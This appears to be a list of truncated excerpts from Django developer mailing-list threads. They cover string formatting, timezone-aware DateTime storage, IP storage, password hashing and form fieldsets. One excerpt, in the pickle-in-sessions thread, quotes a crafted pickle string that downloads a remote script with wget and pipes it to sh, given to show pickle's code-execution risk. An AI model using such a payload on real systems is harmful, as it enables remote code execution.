Python 3 str.format()

Hi folks, Apologies in advance if this topic has already been raised. I don't believe I've seen it on the list since I've been subscribed. Since Django 1.5 has set the minimum version of Python at 2.6, and in conjunction with the push to make Django more Python 3 compatible, should we slowly

Re: Python 3 str.format()

On 24 August 2012 18:12, Carl Meyer wrote: > Can you link to where in the current docs it specifies that %-formatting > is deprecated and/or will be removed? I can't even find, on a cursory > search, where it says the new .format() style should be preferred. It's not easy to

Re: websockets

On Wednesday, April 17, 2013 8:10:15 AM UTC+2, Aymeric Augustin wrote: > > > Yes, that's why https://github.com/aaugustin/django-c10k-demo/ builds > upon Tulip. > > Unfortunately, that choice makes it unsuitable for inclusion in Django > until we drop support for Python 3.3 and all earlier

Migrating to class-based views and django.core.urlresolvers.reverse

I have been tracking the development of class-based views for a few weeks now, and am just starting to adapt some of my work-in-progress sites. This post is in a bit of a grey area between django-users and django-developers, but I'm curious what is suggested for sites that make heavy use of

Re: Migrating to class-based views and django.core.urlresolvers.reverse

nd it's also cool to > do things like this in settings.py: > > reverse_lazy = lazy(reverse, str) > LOGIN_REDIRECT_URL = reverse_lazy('yournamespace:your_main_page') > > Perhaps it's not advertised as it should, and people continue to > invent their tricky namespace schemes... > >

CBV FormView get_form_kwargs() doesn't.... when request.method == "GET"

Most of the time, I use POST for forms, but using GET is useful when developing a search form, for example. This is especially true if you want to paginate your results, because you still have all your original form variables in the query string. CBV FormView get_form_kwargs() only populates

Timezone-aware storage of DateTime

I can almost hear the collective sigh as this topic once again rears up ;-) I am currently developing an app with Django that uses the SQLite backend, and I noticed that Django stores DateTime fields as naive (eg. non TZ-aware), local timestamps, making these databases non- portable to servers

Re: Timezone-aware storage of DateTime

On Jun 1, 3:16 pm, VernonCole wrote: > On the other hand, I found it necessary to convert date-time values to > ISO format strings in order to feed them to Microsoft ACCESS databases > in some cases, and that works well. But again, as with SQLite, the DB > has no concept of

Re: Timezone-aware storage of DateTime

An alternative to perhaps consider is an expanded range Unix epoch- like timestamp. The Postgres timestamp type is stored as a 64 bit integer, with 1 microsecond resolution. SQLite supports storing integers with up to 8 bytes, so it would be feasible to mimic the internal storage of a Postgres

Re: Timezone-aware storage of DateTime

On Jun 5, 11:16 pm, Daniel Greenfeld wrote: > If you store DateTime in another format then what the database is designed > to deliver, then you don't just lose sorting and search capabilities, you > also lose the ability for that data to be read and understood trivially by >

Re: Timezone-aware storage of DateTime

On Jun 7, 4:30 pm, Luke Plant wrote: > There seems to be the assumption in other messages in this thread that > Django 'owns' the database. That is not the philosophy Django takes - it In the case of SQLite, it just plain sucks, because the DB is too stupid to support a

Re: Timezone-aware storage of DateTime

On Jun 28, 3:26 pm, Stephen Burrows wrote: > I agree that it would be nice to be able to store tz-aware datetimes - > but if django were going to do so, it ought to store the datetimes > with the timezone information intact, rather than converting > everything to the

Re: Timezone-aware storage of DateTime

On Jun 29, 12:01 pm, Ryan McIntosh wrote: > Is that a crutch of your database?  It isn't something I would ever live > with.  All the *sql database servers I hate have an idea of what a > timestamp+offset is.  Django should leverage this.  IMHO, no such field > should exist

Re: Timezone-aware storage of DateTime

On Jun 30, 11:06 am, Tom Evans wrote: > That is a domain specific assertion, I don't believe that is true in > all cases. Typically, when we put things into the ORM, we expect to > get the same things out again. If you consider viewing a timeline of a > users

Re: Timezone-aware storage of DateTime

On Jun 30, 5:12 pm, Andy Dustman wrote: > Uh, no. -00-00 is specifically an illegal value in MySQL. Invalid > dates are converted to -00-00 unless you are in strict mode, in > which case they raise error conditions. The actual supported range is > from 1000-01-01 to

Re: Timezone-aware storage of DateTime

On Jun 30, 6:31 pm, Ian Clelland wrote: > As a counterexample, I have needed to store wall-clock time as well as time > zones for future events, in scheduling applications. It is exactly because > of the unpredictability of future DST changes (and, in very rare cases, >

Re: Timezone-aware storage of DateTime

On Jun 30, 7:45 pm, Andy Dustman wrote: > Since 4.0 came out in the late 1990s, isn't is possible that things > have improved somewhat over your dozen year gap of ignorance? > > (I'll stop feeding trolls now) No, it's a perfectly reasonable question that you ask. If I

Re: FilePathField and stale choices

On Jul 7, 1:04 am, Luke Plant wrote: > That sounds like a reasonable idea to me, since doing it by default > could impose a serious performance hit. In it's most naive form (i.e. > making the 'choices' attribute a lazy list using > django.utils.functional.lazy) this

Re: Storing IP address as integer within database to remove need for full text search

The snippet seems to have been removed (returns "page not found"). I was curious to have a look at how you were handling this. For sure, Postgres has native support for ipv4 and ipv6 address storage. AFAIK, MySQL does not... although could store an ipv4 address in a 32-bit unsigned int field. I

Re: Storing IP address as integer within database to remove need for full text search

On Jul 19, 2:16 pm, "Cal Leeming [Simplicity Media Ltd]" wrote: > If I was to continue using MySQL for ipv6 storage, I'd probably create a > table with a column for each byte, convert to an int, and apply a unique > index to them all. I think MySQL supports

Re: Multiple timezone support for datetime representation

I'm wholeheartedly on +1 on this. @Anssi Kääriäinen, re your localtime meeting example: this type of scenario has been discussed on this list previously, and the generally acknowledged solution is to use separate date and time fields, neither of which (on their own) have a concept of timezone.

Re: Improved password hashing for 1.4

On Sep 10, 5:54 am, Paul McMillan wrote: > > The default password hashing algorithm will be changed to PBKDF2. > We'll include a pure python implementation, but preferably load faster > versions if available at the system level. > Having recently written a Python implementation

Re: Improved password hashing for 1.4

On Sep 10, 11:36 pm, Paul McMillan wrote: > Yes, you're absolutely right. My choice of words was incorrect. Is > your python implementation licensed in such a way that we could > consider including it in Django? We've looked at a couple > implementations now, having another

Re: Improved password hashing for 1.4

On Sep 12, 2:58 am, Jacob Kaplan-Moss wrote: > > If you're going to let Paul look at your work, please make sure you've > read and signed a CLA (https://www.djangoproject.com/foundation/cla/) > covering the code in question. Jacob, you're absolutely right, and I should really

Re: Removing pickle from cookie-based session storage

On Oct 2, 2:31 pm, Paul McMillan wrote: > data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'" > import pickle; pickle.loads(data) > Some workarounds for Pickle's execution of arbitrary code are proposed here http://nadiana.com/python-pickle-insecure

Re: New feature: Defining fieldsets in form class (Ticket #17301)

+1 I've often wondered why fieldsets have been possible in the Django admin interface for a while now, but not possible with ModelForms. Looking forward to this. On Nov 27, 12:43 am, Mikołaj Siedlarek wrote: > Hi, > > I've just posted a new ticket with everything the feature